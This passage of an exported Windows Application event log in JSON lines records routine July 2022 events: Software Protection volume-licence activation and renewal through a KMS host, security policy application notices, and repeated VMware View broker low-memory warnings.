)(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171843}}
{"@timestamp":1657726353512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171844}}
{"@timestamp":1657726353721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2023/01/09:15:32:33;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171845}}
{"@timestamp":1657726353747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171846}}
{"@timestamp":1657726383788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-07-20T15:32:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171847}}
{"@timestamp":1657734253220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171848}}
{"@timestamp":1657735408309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 13 20:03:28 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171849}}
{"@timestamp":1657778612309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 14 08:03:32 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171850}}
{"@timestamp":1657796305952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171851}}
{"@timestamp":1657821816792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 14 20:03:36 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171852}}
{"@timestamp":1657858778644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171853}}
{"@timestamp":1657865020820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 15 08:03:40 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171854}}
{"@timestamp":1657908224818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Jul 15 20:03:44 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171855}}
{"@timestamp":1657922332866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171856}}
{"@timestamp":1657951428850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 16 08:03:48 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171857}}
{"@timestamp":1657980124936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171858}}
{"@timestamp":1657994632848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 16 20:03:52 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171859}}
{"@timestamp":1658037836841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 17 08:03:56 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171860}}
{"@timestamp":1658044517909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171861}}
{"@timestamp":1658081040869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 17 20:04:00 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171862}}
{"@timestamp":1658105670838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171863}}
{"@timestamp":1658124245356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 18 08:04:05 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171864}}
{"@timestamp":1658167449381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 18 20:04:09 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171865}}
{"@timestamp":1658169643744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171866}}
{"@timestamp":1658210653374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 19 08:04:13 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171867}}
{"@timestamp":1658227975653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171868}}
{"@timestamp":1658253857379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 19 20:04:17 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171869}}
{"@timestamp":1658287208653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171870}}
{"@timestamp":1658297061447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 20 08:04:21 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171871}}
{"@timestamp":1658331208562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2023/01/09:15:33:28;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171872}}
{"@timestamp":1658331209646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600999DE8B593A337A850FB624BC796352A1CC33327BF6567AC65DF41D8C4C307437F6AD5BF3BE6BDBB9A0CB53ABDA2A15A9C690F0BE53238E6D159F8979F51AE7BE121B26D89E055D9D471791BC1708A161F94AAF6319E8724011C2CAE3633E6B4D10DD6D9D50C3F4E62F12B3678737CAC92A1BB8E3C9DC9D4D9254E48825E5D95B4FD3A6E17B68FDB28D41DFBA72DEFFB4693A45BCBD7E121832A62EC0A8C0029CE59350A467285C16E7C02A853F495489C8532420BE984952F70BF8EE34E9C3D3C0A254A350576E82B471A27394317A5822F984CCCB42A96C44DB7A7F2A73B4038DF9EC1BB6380EF18A39EFD0CDF9B4E426731AE8EE4DA717DD568983D95C308","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/07/20 15:33, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171873}}
{"@timestamp":1658331209769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600B8D2BD81D4A51839D26DF22B73A4981E7A9973CF69D6A160FA236C2F12AB43C5E06E4292E194255FA044CB3FD5BEBAAACB1582833C8CFF6B5A40212A22F1836DFF9AC4EBEB0B8C3773AD7585990D51F2AE86DE5EC387374F00FEB9031CD9C41BB5023ACA0B2B47D698AAD4CAA58A017DEBFA3A94AD5AD096703FB97A075D375B6F8AF37840D435776109E36455F6998E3202D8A3FD183807C149BAB8D96618EC622744A4F66D4A9F7EF59083B9B3263F210E2AAAC114C564957D92D684F3A565A9344A2DF19599DC27D1E000BB9B25912D36813524DE96B6AF1652D032D9A4F82D864D166BD0F99086BB39B90E9583DD7930576368A19424C77BB1A3AE6FEA5A","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/07/20 15:33"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171874}}
{"@timestamp":1658331209901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171875}}
{"@timestamp":1658331209903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171876}}
{"@timestamp":1658331209905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171877}}
{"@timestamp":1658331209964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171878}}
{"@timestamp":1658331210057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171879}}
{"@timestamp":1658331210081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171880}}
{"@timestamp":1658331210329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2023/01/16:15:33:30;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171881}}
{"@timestamp":1658331210355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171882}}
{"@timestamp":1658331240386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-07-27T15:33:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171883}}
{"@timestamp":1658340265458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 20 20:04:25 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171884}}
{"@timestamp":1658349981309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171885}}
{"@timestamp":1658383469427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 21 08:04:29 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171886}}
{"@timestamp":1658410713937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171887}}
{"@timestamp":1658426673436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 21 20:04:33 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171888}}
